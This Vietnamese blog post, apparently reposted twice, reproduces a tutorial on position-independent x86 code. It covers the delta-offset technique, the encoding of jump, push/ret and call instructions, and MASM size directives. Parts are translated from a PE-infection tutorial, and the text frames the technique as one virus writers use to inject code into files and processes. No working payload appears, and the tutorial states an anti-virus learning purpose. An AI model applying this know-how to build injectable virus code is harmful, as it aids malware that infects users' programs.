Trao đổi với tôi

www.hdphim.info

12/31/09

[INDEPENDENT CODE] PART 1 : BASIC TECHNIQUES

INDEPENDENCE CODE SECTION
PART 1 : BASIC TECHNIQUES
Author: Benina 2006 (fixed 2008)

Hôm nay chúng ta sẽ tìm hiểu về một chủ đề mới : đó là các đọan code có khả năng thực thi độc lập ko phụ thuộc vào “nơi cư trú” (tôi tạm định nghĩa là independence code section).

Tut này sẽ trình bày khái quát và các kỹ thuật cơ bản trong đọan code có đặc tính như chủ đề tut đã nói.

Trước khi đọc lọat tuts này tôi xem như bạn đã biết sử dụng qua debugger Olly.

I.MỞ ĐẦU : 

Một đọan code có khả năng thực thi độc lập đó là đọan code khi di chuyển từ một nơi này sang nơi khác (từ disk đến memory hay từ memory đến memory hoặc từ memory đến disk) thì nó vẫn có giá trị thực thi ko đổi.

Tức là khi cho nó thực thi nó sẽ cho ra kết quả như mong muốn dù nó nằm ở đâu trong vùng nhớ khi thực thi.

Chắc bạn cho tui là khùng khi đề cập đến đọan code như vậy, vì thông thường bạn nghĩ rằng tất cả các đọan code (nói chính xác là nhóm các binaries hay các chuổi bytes)đều có khả năng như vậy. Nhưng bạn lầm rồi!. Nếu bạn đã hiểu về PE format thì bạn sẽ ko cho là vậy.

Các đọan code có đặc tính trên đã được các Vxer (người viết virus) nghiên cứu , ứng dụng và phát triển vượt bực.

Như bạn thấy dù mang tên là virus, tức là đọan code virus này phải “ăn bám” vào 1 file hay một process nào đó như một lọai virus sinh học bình thường, nhưng đó chỉ là phạm trù về mặt “cư trú”. Chứ thật ra đọan code virus thực thi hòan tòan “độc lập” ko phụ thuộc vào vị trí (địa chỉ VA) của nó trong vùng nhớ.

Ngòai ra, các đọan code độc lập còn được ứng dụng trong việc lập trình Hook. Rồi chúng ta sẽ thấy nó ứng dụng tuyệt vời như thế nào!.

Để bạn hiểu rõ đọan code độc lập, tôi xin lấy ví dụ sau (dịch từ tut “PE INFECTION TUTORIAL FOR BEGINNER” của LiTlLe VxW) để mô tả về sự sai lầm trong nhận thức mà tôi đã nói chúng ta lầm tưởng như trên:

Nếu bạn đã biết một file PE .EXE được tạo ra như thế nào thì bạn sẽ hiểu code section bắt đầu tại offset 00401000h (entry_point+image_base) (trong một file standard PE, được linked bình thường). Lấy ví dụ về một chương trình “Hello World” như sau trong asm:

   OFFSET    |  OPCODE IN HEX VALUE             |   CODE            
----------|----------------------------------|----------------------
00401000h | 6A00 | push byte 0
00401002h | 681A104000 | push dword caption
00401007h | 6834104000 | push dword text
0040100Ch | 6A00 | push byte 0
0040100Eh | E8ED0F0000 | call MessageBoxA
00401013h | 6A00 | push byte 0
00401015h | E8EC0F0000 | call ExitProcess
0040101Ah | 596F757220666972737420 | caption db "Your first
| 57494E33322070726F6772616D6D00 | WIN32 programm"
,0
00401034h | 48454C4C4F00 | test db "HELLO",0



Bây giờ nhìn vào offset 401002h,ban sẽ thây: 68 1A104000
| |
+--------------------+ |
| |
+--------------------------+ +-----------+
| push on stack the dword | | 0040101Ah |
+-------------+------------+ +-----------+
| push dword | | caption |
+------------+ +-----------+
 
 

Bạn đã thấy vấn đề của chúng ta chưa ? Chưa à ! Hảy hình dung bạn đặt phần code này tại đọan cuối của một file khác hay đính nó vào một process khác (giống như virus đã làm) thì code sẽ ko chạy vì address của "caption" label đã bị thay đổi !!!

Nó sẽ ko chạy với lý do thứ 2 là: IMPORT section ko giống như như thế...(các bạn nên đọc về tut PE format để hiểu vấn đề này)

Chắc bạn đã hiểu được phần nào rồi đó!

Tôi xin nói thêm ở đây 1 chút, Mirosoft đã phát hành hệ điều hành Windows có chế độ bảo vệ là: các đọan code khi nằm trong vùng nhớ (ring3 mode) thì nó luôn phải phụ thuộc vào một process nào đó. Đồng thời Mirosoft còn tạo ra các thư viện hàm APIs động để imports vào trong mỗi process chỉ những hàm nào mà process cần dùng. Làm như vậy sẽ hạn chế được các Vxer (người viết virus) tấn công hệ thống do thiếu các hàm APIs để code. Microsoft tưởng rằng với chế độ bảo vệ “mẹ bồng con” như trên thì khó có virus nào ăn bám theo được.

Nhưng hòan tòan bất ngờ khi các Vxer đã dùng các kỹ thuật “độc lập hóa” đọan code virus mà họ muốn “tiêm chích” vào hệ thống.

Đồng thời trong đọan code độc lập họ vẫn sử dụng được các hàm APIs của Windows. Rồi chúng ta sẽ học điều đó trong các phần kế của lọat tuts này.

Trong tut này chúng ta sẽ tìm hiểu về các kỹ thuật “độc lập hóa” đọan code cơ bản nhất, với các kỹ thuật này chúng ta sẽ ứng dụng nó vào các điều có ích như programming HOOK , reversing virus để khống chế nó, hay nói các khác là học anti-virus.

Tôi hòan tòan phản đối và ko chịu trách nhiệm nếu các bạn sử dụng các kiến thức này vào việc điên rồ như viết các virus, cracking software,..v..v..

Mặc dù các kiến thức này rất cơ bản đã có từ lâu, nhưng các tài liệu tiếng Việt thì tôi chưa thấy , vì vậy việc tìm hiểu nó rất khó khăn. Chắc chắn 1 điều là khi tìm hiểu mà ko có “thầy” hướng dẫn thì “đố mày làm nên”!. Do đó, nếu có gì sơ sót mong các bạn chỉ giáo.

II. “DELTA OFFSET” TECHNIQUE:
 

Như các bạn đã thấy, nếu đọan code khi thực thi tham chiếu đến các địa chỉ VA thì khi mang đi chổ khác khó mà thực thi đúng được. Vì vậy , tòan bộ đọan code độc lập sẽ phải sử dụng các chỉ thị asm ko phụ thuộc vào địa chỉ VA (địa chỉ ảo mà Windows mapping đọan code vào memory) hay các chỉ thị tham chiếu đến VA thực thông qua RVA (VA=RVA+ Image Base).

RVA chính là khỏang cách từ địa chỉ tham chiếu đến 1 điểm nào đó thường được gọi là Image Base. Image Base của đọan code độc lập chính là địa chỉ của chỉ thị đầu tiên của đọan code. Hay nói một cách khác, trong đọan code chúng ta sẽ sử dụng kỷ thuật “tham chiếu qua địa chỉ tương đối”. Do đó kỷ thuật đầu tiên chúng ta cần tìm hiểu là kỷ thuật tìm và lưu giữ Image Base của đọan code. Kỷ thuật này mang tên là “DELTA OFFSET”.

Sau đây là tòan bộ phần dịch từ tut “PE INFECTION TUTORIAL FOR BEGINNER” của LiTlLe VxW về kỷ thuật “DELTA OFFEST”:

Tôi sẽ giải thích cho bạn về DELTA OFFSET nhưng trước tiên ta hảy xem một chương trình WIN32 program (hello.EXE)như thế nào cái đã

(Phần này nhắc lại phần mở đầu như đã trích dẫn)

Nếu bạn đã biết một file PE .EXE được tạo ra như thế nào thì bạn sẽ hiểu code section bắt đầu tại offset 00401000h (entry_point+image_base)(trong một file standard PE, được linked bình thường)

 
   OFFSET    |  OPCODE IN HEX VALUE             |   CODE            
----------|----------------------------------|----------------------
00401000h | 6A00 | push byte 0
00401002h | 681A104000 | push dword caption
00401007h | 6834104000 | push dword text
0040100Ch | 6A00 | push byte 0
0040100Eh | E8ED0F0000 | call MessageBoxA
00401013h | 6A00 | push byte 0
00401015h | E8EC0F0000 | call ExitProcess
0040101Ah | 596F757220666972737420 | caption db "Your first
| 57494E33322070726F6772616D6D00 | WIN32 programm"
,0
00401034h | 48454C4C4F00 | test db "HELLO",0


Bây giờnhìn vào offset 401002h,bạn se thấy: 68 1A104000
| |
+--------------------+ |
| |
+--------------------------+ +-----------+
| push on stack the dword | | 0040101Ah |
+-------------+------------+ +-----------+
| push dword | | caption |
+------------+ +-----------+

Bạn đã thấy vấn đề của chúng ta chưa ? NO ! hảy hình dung bạn đặt phần code này tại đọan cuối của một file khác (like a virus do) , thì code sẽ ko chạy vì address của "caption" label đã bị thay đổi ! ! !

Nó sẽ ko chạy với lý do thứ 2 là: IMPORT section ko giống như như thế...

Delta offset technique sẽ được sử dụng như sau:

      call delta          ; (push eip)
delta:
pop ebp ; (ebp=eip)
sub ebp,offset delta

Khi bạn thực thi hàm CALL , giá trị của EIP register (lúc đó EIP sẽ là offset của delta) sẽ push trên stack vì vậy bạn pop nó ra(pop ebp) và sub nó với dword 'offset delta' và bây giờ ebp trỏ đến delta label (ebp=offset delta)

vậy nếu ta muốn code như sau:         mov eax,dword label1
mov ebx,dword[label2]


thì code sẽ phải thay đổi thành: call delta
delta:
pop ebp
sub ebp,offset delta

lea eax,[label1+ebp]
mov ebx,dword[label2+ebp]

 

Sáng sủa chưa ? ? ? Có một kỹ thuật khác để làm giống như thế mà ko dùng delta technique...

Chú ý bạn có thể làm như vầy:

   call delta
delta:
pop edx
sub eax,offset delta
...
...
...
lea eax,[label1+edx]
mov ebx,dword[label2+edx]
 

nhưng thanh ghi register edx sẽ ko bao giờ thay đổi trong tất cả code của bạn ! ! !

Tôi hy vọng bạn sẽ hiểu được những gì đã trình bày của tác giả.

III. CÁC CHỈ THỊ CHUYỂN HƯỚNG ĐIỀU KHIỂN :

Khi lập trình code độc lập , chúng ta nên chú ý các chỉ thị chuyển hướng điều khiển, vì hiểu rỏ nó chúng ta sẽ ít phạm sai lầm khi coding.

Để tìm hiểu tôi xin mô tả một thử dụ sau:

Tôi bậc chương trình Olly lên và load 1 file exe nào đó vào Olly. Sau đó tôi modify assember (nhấn phím space tại addr cần modify) để thay đổi code lần lượt như sau:

Tại offset 00401000 ta thay đổi:

jmp 00401004

Sau đó lần lượt:

push eax
push ebx
push 0040100A
ret
call 0040100F
pop ebp
sub ebp,0040100F

Sau khi thay đổi xong chúng ta có code trên cửa sổ CPU như sau:

My Label:   Offset:      Opcode:        Code:

----------------------------------------------------------------------
00401000 > EB 02 JMP SHORT seh_exp.00401004

00401002 50 PUSH EAX

00401003 53 PUSH EBX

Delta1: 00401004 68 0A104000 PUSH seh_exp.0040100A

00401009 C3 RETN

Delta2: 0040100A E8 00000000 CALL seh_exp.0040100F

Delta: 0040100F 5D POP EBP

00401010 81ED 0F104000 SUB EBP,seh_exp.0040100F


Bắt đầu khảo sát từng lệnh nhé.

1.Lệnh chuyển hướng điều khiển JMP:

Lệnh chuyển hướng điều khiển đầu tiên cần tìm hiểu đó là lệnh jmp.

Như ta thấy :

00401000 >   EB 02          JMP SHORT seh_exp.00401004

| |

+----------+ +-----------------+

| |

+---opcode jmp (1 bytes) +--- 02 : distance (1 bytes)

Lệnh jmp có 2 byte opcode : EB là opcode của lệnh jmp và 02 là distance (khỏang cách) jump, ta có: offset cần jmp đến = offset của lệnh jmp + distance + 2

Khỏang cách jump có thể “là số âm” khi nhảy ngược về chỉ thị phía trên

Vậy chỉ thị này ko ảnh hưởng đến vấn đề fixed offset (offset cố định) trong opcode khi chương trình biên dịch code ra file exe.

Các lệnh jnz, jz, ....tương tự như vậy. Các bạn cần tìm hiểu thêm.

2.Cặp lệnh chuyển hướng điều khiển PUSH/RET:

Ngòai các chỉ thị jump chuyển hướng điều khiển. Còn có một cặp chỉ thị sau dùng để chuyển hướng điều khiển đó là cặp lệnh PUSH/RET.

Đây là cách dùng cặp lệnh này:

hook:                   push    offset delta2
ret
delta2: ................

Như ta biết, khi ta push một giá trị vào stack , sau đó cho thực hiện chỉ thị ret, thì ngay lúc đó eip nhảy đến offset lấy từ stack đã lưu trước đó bằng lệnh push. Vì vậy, sẽ chuyển điều khiển chương trình đến offset mà ta đã push vào stack đó là offset delta2.

Ta phân tích

00401004     68 0A104000    PUSH seh_exp.0040100A
| |
+----------+ +--------------+
| |
+---opcode push (1 byte) +--- 0040100A : offset of delta2 (4 bytes)

Như ta thấy, fixed offset đã tồn tại trong Opcode của chỉ thị này, vì vậy ta ko thể dùng chỉ thị này trong code độc lập.

Nhưng nó lại có một ứng dụng rất tuyệt vời, đó là lợi dụng tính năng fixed offset, cặp lệnh này đã được sử dụng trong lập trình hook.

Tức là chúng ta sẽ copy đọan code có cặp lệnh này vào offset đầu tiên của một hàm API cần hook và sau đó patch 4 bytes fixed offset thành 4 bytes offset mà chúng ta muốn chuyển hướng điều khiển của hàm API. Nhưng đó là một câu chuyện khác chúng ta sẽ tìm hiểu sau.

Còn bây giờ, chúng ta hảy dùng phím F8 trong Olly để thực hiện các lệnh trên cho đến chỉ thị RET. Sau khi thực hiện chỉ thị ret, stack sẽ gở bỏ 1 dword lưu offset đã push trước đó. Chúng ta hảy nhớ điều này.

Ngòai ta các bạn cần tìm hiểu thêm các lệnh sau “RETN 4“,”RETN 8”,...

Ví dụ:

Lệnh “RET 4” có nghĩa là chuyển điều khiển EIP đến [esp+4] tức là sẽ bỏ qua 4 bytes addr trên stack để lấy addr cho EIP.

Chú ý:

Trong lập trình code độc lập, chúng ta ít dùng lệnh push vì nó fixed offset. Vậy làm sao chúng ta có thể push các tham số cho stack?.

Để giải quyết vấn đề này chúng ta dùng cặp lệnh sau và một thanh ghi tạm:

            lea   esi,[ebp+szUser32dll]

push esi

call [ebp+_LoadLibrary]

3.Chuyển hướng điều khiển bằng cặp lệnh CALL/POP:

Ta có:

0040100A     E8 00000000    CALL seh_exp.0040100F
| |
+----------+ +--------------+
| |
+---opcode call (1 byte) +--- 00000000 : distance (4 bytes)

Lệnh call có 5 byte opcode : E8 là opcode của lệnh call và 00000000 là distance (khỏang cách) call, ta có:

offset cần call đến = offset của lệnh call + distance + 5 bytes

Như ta thấy lệnh call tương tự như lệnh jump, nhưng nó có nhiều bytes hơn và khi thực hiện, nó sẽ push một giá trị trả về là offset sau chỉ thị call vào trong stack. Vì vậy để cân bằng lại stack sau khi chuyển điều khiển đến label Delta, chúng ta cần POP một dword ra khỏi stack.

Ghi chú thêm về “Delta offset technique”:

Như bạn thấy trong chỉ thị sub có fixed opcode như sau khi biên dịch đầu tiên ra file exe:

00401010     81ED 0F104000  SUB EBP,seh_exp.0040100F

Vì vậy khi copy các bytes này sang 1 addr khác trong memory, thì các opcode này vẫn ko thay đổi. Tức là chỉ thị vẫn có giá trị là “sub ebp,0040100F”. Nhưng lúc đó ebp lại là offset tại vị trí mới của label delta. Do đó ebp sẽ khác 0 , khác với trường hợp bạn trace trong Olly ở đây. Vì vậy ebp sẽ chứa 1 độ lệch giửa offset khi biên dịch đọan code lúc đầu với offset current khi run tại vị trí nào đó.

III. ĐỊNH HƯỚNG BIÊN DỊCH TRONG ASM ĐỂ TÍNH TỔNG SỐ BYTES 1 ĐỌAN CODE:

Trong lập trình ASM, khi lập trình về “đọan code độc lập”, chúng ta thường cần tổng số byte của một đọan code để lưu vào 1 biến.

Để làm được điều này, chúng ta dùng chỉ thị định hướng biên dịch là “$”. Chỉ thị này đại diện cho offset tại label hiện nó được sử dụng.

Để tính size của một đọan code ta dùng $ như sau:

Label_01:

........inpendence code..........

Size_Label_01 = $ - Label_01 ; offset Size_Label_01 trừ cho offset Label_01

Chú ý: Size_Label_01 ko phải là một biến mà nó là 1 giá trị để chương trình biên dịch tham chiếu đến.

Chúng ta hảy xem đọan code sau:

Vidu.asm

------------------------cut here-------------------------------------

.586

.model flat, stdcall

option casemap:none

include \masm32\include\kernel32.inc

includelib \masm32\lib\kernel32.lib

.data

.code

start:

push size_label01 ; = push 3 bytes into stack

push 0

call ExitProcess

code_sec segment

label01: push eax ; 1 byte

push ebx ;1 byte

push ecx ;1 byte

size_label01 = $ - label01 ; size from label01 to size_label01 = 3 bytes

code_sec ends

end start

-------------------------------cut here-------------------------------------

Sau khi dùng MASM biên dịch, chúng ta sẽ thấy 1 section được tạo ra có tên là code_sec do ta dùng cặp lệnh sau để tạo ra:

code_sec segment

.........code.............

code_sec ends

và load file exe vừa biên dịch vào Olly, chúng ta sẽ thấy :

00401000 >/$ 68 03000000 PUSH 3

00401005 |. 6A 00 PUSH 0 ; /ExitCode = 0

00401007 \. E8 00000000 CALL ; \ExitProcess

Vậy chỉ thị đầu tiên là lệnh push một giá trị là 3 vào stack, giá trị 3 chính là size của đọan code cần tính tổng từ label label01 đến label size_label01.

Tôi hy vọng những gì trình bày trên đã giúp ích được các bạn . Hẹn gặp lại.

--------------------------------------------------------------------------------

Benina 15/03/2006

Update 31/12/2009


(Không đồng ý bất kỳ ai sử dụng tài liệu này cho mục đích thương mại nếu ko được phép của người dịch)

[MASM] PART 1 : BASIC TECHNIQUES

INDEPENDENCE CODE SECTION
PART 1 : BASIC TECHNIQUES
Author: Benina 2006 (fixed 2008)

Hôm nay chúng ta sẽ tìm hiểu về một chủ đề mới : đó là các đọan code có khả năng thực thi độc lập ko phụ thuộc vào “nơi cư trú” (tôi tạm định nghĩa là independence code section).

Tut này sẽ trình bày khái quát và các kỹ thuật cơ bản trong đọan code có đặc tính như chủ đề tut đã nói.

Trước khi đọc lọat tuts này tôi xem như bạn đã biết sử dụng qua debugger Olly.

I.MỞ ĐẦU : 

Một đọan code có khả năng thực thi độc lập đó là đọan code khi di chuyển từ một nơi này sang nơi khác (từ disk đến memory hay từ memory đến memory hoặc từ memory đến disk) thì nó vẫn có giá trị thực thi ko đổi.

Tức là khi cho nó thực thi nó sẽ cho ra kết quả như mong muốn dù nó nằm ở đâu trong vùng nhớ khi thực thi.

Chắc bạn cho tui là khùng khi đề cập đến đọan code như vậy, vì thông thường bạn nghĩ rằng tất cả các đọan code (nói chính xác là nhóm các binaries hay các chuổi bytes)đều có khả năng như vậy. Nhưng bạn lầm rồi!. Nếu bạn đã hiểu về PE format thì bạn sẽ ko cho là vậy.

Các đọan code có đặc tính trên đã được các Vxer (người viết virus) nghiên cứu , ứng dụng và phát triển vượt bực.

Như bạn thấy dù mang tên là virus, tức là đọan code virus này phải “ăn bám” vào 1 file hay một process nào đó như một lọai virus sinh học bình thường, nhưng đó chỉ là phạm trù về mặt “cư trú”. Chứ thật ra đọan code virus thực thi hòan tòan “độc lập” ko phụ thuộc vào vị trí (địa chỉ VA) của nó trong vùng nhớ.

Ngòai ra, các đọan code độc lập còn được ứng dụng trong việc lập trình Hook. Rồi chúng ta sẽ thấy nó ứng dụng tuyệt vời như thế nào!.

Để bạn hiểu rõ đọan code độc lập, tôi xin lấy ví dụ sau (dịch từ tut “PE INFECTION TUTORIAL FOR BEGINNER” của LiTlLe VxW) để mô tả về sự sai lầm trong nhận thức mà tôi đã nói chúng ta lầm tưởng như trên:

Nếu bạn đã biết một file PE .EXE được tạo ra như thế nào thì bạn sẽ hiểu code section bắt đầu tại offset 00401000h (entry_point+image_base) (trong một file standard PE, được linked bình thường). Lấy ví dụ về một chương trình “Hello World” như sau trong asm:

   OFFSET    |  OPCODE IN HEX VALUE             |   CODE             
----------|----------------------------------|----------------------
00401000h | 6A00 | push byte 0
00401002h | 681A104000 | push dword caption
00401007h | 6834104000 | push dword text
0040100Ch | 6A00 | push byte 0
0040100Eh | E8ED0F0000 | call MessageBoxA
00401013h | 6A00 | push byte 0
00401015h | E8EC0F0000 | call ExitProcess
0040101Ah | 596F757220666972737420 | caption db "Your first
| 57494E33322070726F6772616D6D00 | WIN32 programm"
,0
00401034h | 48454C4C4F00 | test db "HELLO",0



Bây giờ nhìn vào offset 401002h,ban sẽ thây: 68 1A104000
| |
+--------------------+ |
| |
+--------------------------+ +-----------+
| push on stack the dword | | 0040101Ah |
+-------------+------------+ +-----------+
| push dword | | caption |
+------------+ +-----------+
 
 

Bạn đã thấy vấn đề của chúng ta chưa ? Chưa à ! Hảy hình dung bạn đặt phần code này tại đọan cuối của một file khác hay đính nó vào một process khác (giống như virus đã làm) thì code sẽ ko chạy vì address của "caption" label đã bị thay đổi !!!

Nó sẽ ko chạy với lý do thứ 2 là: IMPORT section ko giống như như thế...(các bạn nên đọc về tut PE format để hiểu vấn đề này)

Chắc bạn đã hiểu được phần nào rồi đó!

Tôi xin nói thêm ở đây 1 chút, Mirosoft đã phát hành hệ điều hành Windows có chế độ bảo vệ là: các đọan code khi nằm trong vùng nhớ (ring3 mode) thì nó luôn phải phụ thuộc vào một process nào đó. Đồng thời Mirosoft còn tạo ra các thư viện hàm APIs động để imports vào trong mỗi process chỉ những hàm nào mà process cần dùng. Làm như vậy sẽ hạn chế được các Vxer (người viết virus) tấn công hệ thống do thiếu các hàm APIs để code. Microsoft tưởng rằng với chế độ bảo vệ “mẹ bồng con” như trên thì khó có virus nào ăn bám theo được.

Nhưng hòan tòan bất ngờ khi các Vxer đã dùng các kỹ thuật “độc lập hóa” đọan code virus mà họ muốn “tiêm chích” vào hệ thống.

Đồng thời trong đọan code độc lập họ vẫn sử dụng được các hàm APIs của Windows. Rồi chúng ta sẽ học điều đó trong các phần kế của lọat tuts này.

Trong tut này chúng ta sẽ tìm hiểu về các kỹ thuật “độc lập hóa” đọan code cơ bản nhất, với các kỹ thuật này chúng ta sẽ ứng dụng nó vào các điều có ích như programming HOOK , reversing virus để khống chế nó, hay nói các khác là học anti-virus.

Tôi hòan tòan phản đối và ko chịu trách nhiệm nếu các bạn sử dụng các kiến thức này vào việc điên rồ như viết các virus, cracking software,..v..v..

Mặc dù các kiến thức này rất cơ bản đã có từ lâu, nhưng các tài liệu tiếng Việt thì tôi chưa thấy , vì vậy việc tìm hiểu nó rất khó khăn. Chắc chắn 1 điều là khi tìm hiểu mà ko có “thầy” hướng dẫn thì “đố mày làm nên”!. Do đó, nếu có gì sơ sót mong các bạn chỉ giáo.

II. “DELTA OFFSET” TECHNIQUE:
 

Như các bạn đã thấy, nếu đọan code khi thực thi tham chiếu đến các địa chỉ VA thì khi mang đi chổ khác khó mà thực thi đúng được. Vì vậy , tòan bộ đọan code độc lập sẽ phải sử dụng các chỉ thị asm ko phụ thuộc vào địa chỉ VA (địa chỉ ảo mà Windows mapping đọan code vào memory) hay các chỉ thị tham chiếu đến VA thực thông qua RVA (VA=RVA+ Image Base).

RVA chính là khỏang cách từ địa chỉ tham chiếu đến 1 điểm nào đó thường được gọi là Image Base. Image Base của đọan code độc lập chính là địa chỉ của chỉ thị đầu tiên của đọan code. Hay nói một cách khác, trong đọan code chúng ta sẽ sử dụng kỷ thuật “tham chiếu qua địa chỉ tương đối”. Do đó kỷ thuật đầu tiên chúng ta cần tìm hiểu là kỷ thuật tìm và lưu giữ Image Base của đọan code. Kỷ thuật này mang tên là “DELTA OFFSET”.

Sau đây là tòan bộ phần dịch từ tut “PE INFECTION TUTORIAL FOR BEGINNER” của LiTlLe VxW về kỷ thuật “DELTA OFFEST”:

Tôi sẽ giải thích cho bạn về DELTA OFFSET nhưng trước tiên ta hảy xem một chương trình WIN32 program (hello.EXE)như thế nào cái đã

(Phần này nhắc lại phần mở đầu như đã trích dẫn)

Nếu bạn đã biết một file PE .EXE được tạo ra như thế nào thì bạn sẽ hiểu code section bắt đầu tại offset 00401000h (entry_point+image_base)(trong một file standard PE, được linked bình thường)

 
   OFFSET    |  OPCODE IN HEX VALUE             |   CODE             
----------|----------------------------------|----------------------
00401000h | 6A00 | push byte 0
00401002h | 681A104000 | push dword caption
00401007h | 6834104000 | push dword text
0040100Ch | 6A00 | push byte 0
0040100Eh | E8ED0F0000 | call MessageBoxA
00401013h | 6A00 | push byte 0
00401015h | E8EC0F0000 | call ExitProcess
0040101Ah | 596F757220666972737420 | caption db "Your first
| 57494E33322070726F6772616D6D00 | WIN32 programm"
,0
00401034h | 48454C4C4F00 | test db "HELLO",0


Bây giờnhìn vào offset 401002h,bạn se thấy: 68 1A104000
| |
+--------------------+ |
| |
+--------------------------+ +-----------+
| push on stack the dword | | 0040101Ah |
+-------------+------------+ +-----------+
| push dword | | caption |
+------------+ +-----------+

Bạn đã thấy vấn đề của chúng ta chưa ? NO ! hảy hình dung bạn đặt phần code này tại đọan cuối của một file khác (like a virus do) , thì code sẽ ko chạy vì address của "caption" label đã bị thay đổi ! ! !

Nó sẽ ko chạy với lý do thứ 2 là: IMPORT section ko giống như như thế...

Delta offset technique sẽ được sử dụng như sau:

      call delta          ; (push eip)
delta:
pop ebp ; (ebp=eip)
sub ebp,offset delta

Khi bạn thực thi hàm CALL , giá trị của EIP register (lúc đó EIP sẽ là offset của delta) sẽ push trên stack vì vậy bạn pop nó ra(pop ebp) và sub nó với dword 'offset delta' và bây giờ ebp trỏ đến delta label (ebp=offset delta)

vậy nếu ta muốn code như sau:         mov eax,dword label1
mov ebx,dword[label2]


thì code sẽ phải thay đổi thành: call delta
delta:
pop ebp
sub ebp,offset delta

lea eax,[label1+ebp]
mov ebx,dword[label2+ebp]

 

Sáng sủa chưa ? ? ? Có một kỹ thuật khác để làm giống như thế mà ko dùng delta technique...

Chú ý bạn có thể làm như vầy:

   call delta
delta:
pop edx
sub eax,offset delta
...
...
...
lea eax,[label1+edx]
mov ebx,dword[label2+edx]
 

nhưng thanh ghi register edx sẽ ko bao giờ thay đổi trong tất cả code của bạn ! ! !

Tôi hy vọng bạn sẽ hiểu được những gì đã trình bày của tác giả.

III. CÁC CHỈ THỊ CHUYỂN HƯỚNG ĐIỀU KHIỂN :

Khi lập trình code độc lập , chúng ta nên chú ý các chỉ thị chuyển hướng điều khiển, vì hiểu rỏ nó chúng ta sẽ ít phạm sai lầm khi coding.

Để tìm hiểu tôi xin mô tả một thử dụ sau:

Tôi bậc chương trình Olly lên và load 1 file exe nào đó vào Olly. Sau đó tôi modify assember (nhấn phím space tại addr cần modify) để thay đổi code lần lượt như sau:

Tại offset 00401000 ta thay đổi:

jmp 00401004

Sau đó lần lượt:

push eax
push ebx
push 0040100A
ret
call 0040100F
pop ebp
sub ebp,0040100F

Sau khi thay đổi xong chúng ta có code trên cửa sổ CPU như sau:

My Label:   Offset:      Opcode:        Code:

----------------------------------------------------------------------
00401000 > EB 02 JMP SHORT seh_exp.00401004

00401002 50 PUSH EAX

00401003 53 PUSH EBX

Delta1: 00401004 68 0A104000 PUSH seh_exp.0040100A

00401009 C3 RETN

Delta2: 0040100A E8 00000000 CALL seh_exp.0040100F

Delta: 0040100F 5D POP EBP

00401010 81ED 0F104000 SUB EBP,seh_exp.0040100F


Bắt đầu khảo sát từng lệnh nhé.

1.Lệnh chuyển hướng điều khiển JMP:

Lệnh chuyển hướng điều khiển đầu tiên cần tìm hiểu đó là lệnh jmp.

Như ta thấy :

00401000 >   EB 02          JMP SHORT seh_exp.00401004

| |

+----------+ +-----------------+

| |

+---opcode jmp (1 bytes) +--- 02 : distance (1 bytes)

Lệnh jmp có 2 byte opcode : EB là opcode của lệnh jmp và 02 là distance (khỏang cách) jump, ta có: offset cần jmp đến = offset của lệnh jmp + distance + 2

Khỏang cách jump có thể “là số âm” khi nhảy ngược về chỉ thị phía trên

Vậy chỉ thị này ko ảnh hưởng đến vấn đề fixed offset (offset cố định) trong opcode khi chương trình biên dịch code ra file exe.

Các lệnh jnz, jz, ....tương tự như vậy. Các bạn cần tìm hiểu thêm.

2.Cặp lệnh chuyển hướng điều khiển PUSH/RET:

Ngòai các chỉ thị jump chuyển hướng điều khiển. Còn có một cặp chỉ thị sau dùng để chuyển hướng điều khiển đó là cặp lệnh PUSH/RET.

Đây là cách dùng cặp lệnh này:

hook:                   push    offset delta2
ret
delta2: ................

Như ta biết, khi ta push một giá trị vào stack , sau đó cho thực hiện chỉ thị ret, thì ngay lúc đó eip nhảy đến offset lấy từ stack đã lưu trước đó bằng lệnh push. Vì vậy, sẽ chuyển điều khiển chương trình đến offset mà ta đã push vào stack đó là offset delta2.

Ta phân tích

00401004     68 0A104000    PUSH seh_exp.0040100A
| |
+----------+ +--------------+
| |
+---opcode push (1 byte) +--- 0040100A : offset of delta2 (4 bytes)

Như ta thấy, fixed offset đã tồn tại trong Opcode của chỉ thị này, vì vậy ta ko thể dùng chỉ thị này trong code độc lập.

Nhưng nó lại có một ứng dụng rất tuyệt vời, đó là lợi dụng tính năng fixed offset, cặp lệnh này đã được sử dụng trong lập trình hook.

Tức là chúng ta sẽ copy đọan code có cặp lệnh này vào offset đầu tiên của một hàm API cần hook và sau đó patch 4 bytes fixed offset thành 4 bytes offset mà chúng ta muốn chuyển hướng điều khiển của hàm API. Nhưng đó là một câu chuyện khác chúng ta sẽ tìm hiểu sau.

Còn bây giờ, chúng ta hảy dùng phím F8 trong Olly để thực hiện các lệnh trên cho đến chỉ thị RET. Sau khi thực hiện chỉ thị ret, stack sẽ gở bỏ 1 dword lưu offset đã push trước đó. Chúng ta hảy nhớ điều này.

Ngòai ta các bạn cần tìm hiểu thêm các lệnh sau “RETN 4“,”RETN 8”,...

Ví dụ:

Lệnh “RET 4” có nghĩa là chuyển điều khiển EIP đến [esp+4] tức là sẽ bỏ qua 4 bytes addr trên stack để lấy addr cho EIP.

Chú ý:

Trong lập trình code độc lập, chúng ta ít dùng lệnh push vì nó fixed offset. Vậy làm sao chúng ta có thể push các tham số cho stack?.

Để giải quyết vấn đề này chúng ta dùng cặp lệnh sau và một thanh ghi tạm:

            lea   esi,[ebp+szUser32dll]

push esi

call [ebp+_LoadLibrary]

3.Chuyển hướng điều khiển bằng cặp lệnh CALL/POP:

Ta có:

0040100A     E8 00000000    CALL seh_exp.0040100F
| |
+----------+ +--------------+
| |
+---opcode call (1 byte) +--- 00000000 : distance (4 bytes)

Lệnh call có 5 byte opcode : E8 là opcode của lệnh call và 00000000 là distance (khỏang cách) call, ta có:

offset cần call đến = offset của lệnh call + distance + 5 bytes

Như ta thấy lệnh call tương tự như lệnh jump, nhưng nó có nhiều bytes hơn và khi thực hiện, nó sẽ push một giá trị trả về là offset sau chỉ thị call vào trong stack. Vì vậy để cân bằng lại stack sau khi chuyển điều khiển đến label Delta, chúng ta cần POP một dword ra khỏi stack.

Ghi chú thêm về “Delta offset technique”:

Như bạn thấy trong chỉ thị sub có fixed opcode như sau khi biên dịch đầu tiên ra file exe:

00401010     81ED 0F104000  SUB EBP,seh_exp.0040100F

Vì vậy khi copy các bytes này sang 1 addr khác trong memory, thì các opcode này vẫn ko thay đổi. Tức là chỉ thị vẫn có giá trị là “sub ebp,0040100F”. Nhưng lúc đó ebp lại là offset tại vị trí mới của label delta. Do đó ebp sẽ khác 0 , khác với trường hợp bạn trace trong Olly ở đây. Vì vậy ebp sẽ chứa 1 độ lệch giửa offset khi biên dịch đọan code lúc đầu với offset current khi run tại vị trí nào đó.

